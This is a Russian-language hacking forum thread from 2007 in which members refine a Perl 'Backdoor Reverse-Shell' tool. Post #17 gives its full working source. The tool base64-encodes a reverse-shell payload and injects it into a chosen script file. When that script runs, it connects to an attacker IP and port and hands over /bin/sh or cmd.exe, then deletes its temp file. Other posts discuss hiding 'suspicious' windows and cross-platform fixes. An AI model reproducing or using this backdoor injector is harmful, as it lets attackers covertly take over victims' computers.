ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 07.03.2007, 00:42
Helios
Постоянный
Регистрация: 14.01.2007
Сообщений: 459
Провел на форуме:
1469995

Репутация: 589
Отправить сообщение для Helios с помощью ICQ
По умолчанию

Цитата:
perl умирает
Странно, чего ж догда ActiveState Perl под винду продвигает?
Почему CPAN постоянно пополняется?
Почему знание администратором UNIX перла считается хорошим тоном?
Почему 80% всех сплойтенгов на милворме на перле?

Последний раз редактировалось Helios; 07.03.2007 в 00:45..
 
Ответить с цитированием

  #12  
Старый 07.03.2007, 05:02
KSURi
Постоянный
Регистрация: 06.06.2006
Сообщений: 515
Провел на форуме:
1985206

Репутация: 963


По умолчанию

Цитата:
Сообщение от Digimortal  
перл-коденг на троечку.. замечания:
1) зачем стока ненужных принтов??
2) юзайте " когда это действительно надо, а не заместо ' , а еще есть qw..
3) my ($IP, $PORT, $NAME)=@ARGV; # кстати, правильнее элементы массива писать $ARGV[1], а не @ARGV[1]
4) юзайте -w
5) my - тоже полезная штука...

за идею - плюсег )..
Ты на пути истинном
Сорец к счастью я до конца читать не стал, после того как увидел нечто вроде
Код:
~~~~~~~~~~~~~
 
Ответить с цитированием

  #13  
Старый 07.03.2007, 15:20
slider
Members of Antichat - Level 5
Регистрация: 04.09.2005
Сообщений: 528
Провел на форуме:
6520559

Репутация: 2947


По умолчанию

непонял .... а что в "~~~~~~~~~~~~~" такого? 0_o
 
Ответить с цитированием

  #14  
Старый 07.03.2007, 15:59
Digimortal
Banned
Регистрация: 22.08.2006
Сообщений: 608
Провел на форуме:
6144796

Репутация: 1095


По умолчанию

Цитата:
Сообщение от slider  
непонял .... а что в "~~~~~~~~~~~~~" такого? 0_o
print "\n" . '~' x 56 . "\n";
 
Ответить с цитированием

  #15  
Старый 07.03.2007, 18:20
slider
Members of Antichat - Level 5
Регистрация: 04.09.2005
Сообщений: 528
Провел на форуме:
6520559

Репутация: 2947


По умолчанию

упс.... :'(
 
Ответить с цитированием

  #16  
Старый 08.03.2007, 17:34
slider
Members of Antichat - Level 5
Регистрация: 04.09.2005
Сообщений: 528
Провел на форуме:
6520559

Репутация: 2947


По умолчанию

ОК .. немного обновил...
теперь не будут лезть "левые окна" и вызывать подозрения..
и убрал задержку....
 
Ответить с цитированием

  #17  
Старый 08.03.2007, 19:18
Helios
Постоянный
Регистрация: 14.01.2007
Сообщений: 459
Провел на форуме:
1469995

Репутация: 589
Отправить сообщение для Helios с помощью ICQ
По умолчанию

Немного подпатчил, теперь ммультиплатформенно)

Greetz: _slider_

PHP код:
#!/usr/bin/perl  

## C0d3d by slider  
## Multiplatform path by helios
## Backdoor Reverse-Shell v1.3.multiplatform 
## http://antichat.ru 
   
if (@ARGV!=3)  
{  
print 
"\n" '~' x 56 "\n"
print 
"Backdoor Reverse-Shell \n\n";  
print 
"\n" '~' x 56 "\n"
print 
"---USAGE:" .'-' x 47 ."\n\n";  
print 
"[Parameters] : $0 IP PORT file  \n";  
print 
"[Example] : $0 127.0.0.1 9999 exploit.pl \n\n";  
print 
'~' x 56 "\n"
die(
"\n");  
}  

$IP=$ARGV[0];  
$PORT=$ARGV[1];  
$NAME=$ARGV[2];  
$TEXT=  

"open logg,\">expl~1.tmp\";".  
"print logg \"use IO::Socket;\";".  
"print logg \"use Socket; use FileHandle;\";".  
"print logg \"socket(SOCKET,PF_INET,SOCK_STREAM, getprotobyname('tcp'));\";".  
"print logg \"connect(SOCKET, sockaddr_in('$PORT',inet_aton('$IP')));\";".  
"print logg \"SOCKET->autoflush();\";".  
"print logg \"open(STDIN,'>&SOCKET');\";".  
"print logg \"open(STDOUT,'>&SOCKET');\";".  
"print logg \"open(STDERR,'>&SOCKET');\";".  
"if(-f '/bin/sh' && -x '/bin/sh') {print logg \"exec('/bin/sh');\";}".
"else{print logg \"exec('cmd.exe');\";}".
"close logg;";  

use 
MIME::Base64;  

$encoded encode_base64($TEXT);  
print 
"[*] Injecting...\n";  

open base64,">$NAME";  
print 
base64 "\$payload='$encoded';";  
print 
base64 "use MIME::Base64;";  
print 
base64 "\$decoded = decode_base64(\$payload);";  
print 
base64 "eval(\$decoded);";
print 
base64 "if (-f '/bin/sh' && -x '/bin/sh') {";
print 
base64 "system(\'perl expl~1.tmp &\');";  
print 
base64 "system(\'rm -rf expl~1.tmp\');}";
print 
base64 "else {";
print 
base64 "system(\'call perl expl~1.tmp\');";  
print 
base64 "system(\'del expl~1.tmp\');}";
close base64;  
print 
"[*] OK...\n\n";  

print 
"$encoded"
 
Ответить с цитированием

  #18  
Старый 08.03.2007, 19:24
Helios
Постоянный
Регистрация: 14.01.2007
Сообщений: 459
Провел на форуме:
1469995

Репутация: 589
Отправить сообщение для Helios с помощью ICQ
По умолчанию

ЗЫ:

Проверял в винде и во Frenzy

В никсах не забыть поменять конец строки на Unix-Like \n
 
Ответить с цитированием

  #19  
Старый 08.03.2007, 19:27
slider
Members of Antichat - Level 5
Регистрация: 04.09.2005
Сообщений: 528
Провел на форуме:
6520559

Репутация: 2947


По умолчанию

респект Helios!
 
Ответить с цитированием

  #20  
Старый 09.03.2007, 21:09
genom--
Постоянный
Регистрация: 09.07.2006
Сообщений: 937
Провел на форуме:
1948091

Репутация: 1686


По умолчанию

if(-f '/bin/sh' && -x '/bin/sh') хотел трохан покритиковать вообщем под моей виндой почемуто флаги -f -x непашут незнаю почему -- модет винда такая хз --- вообщем лучше вбить проверку через readdir будет надежнее
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ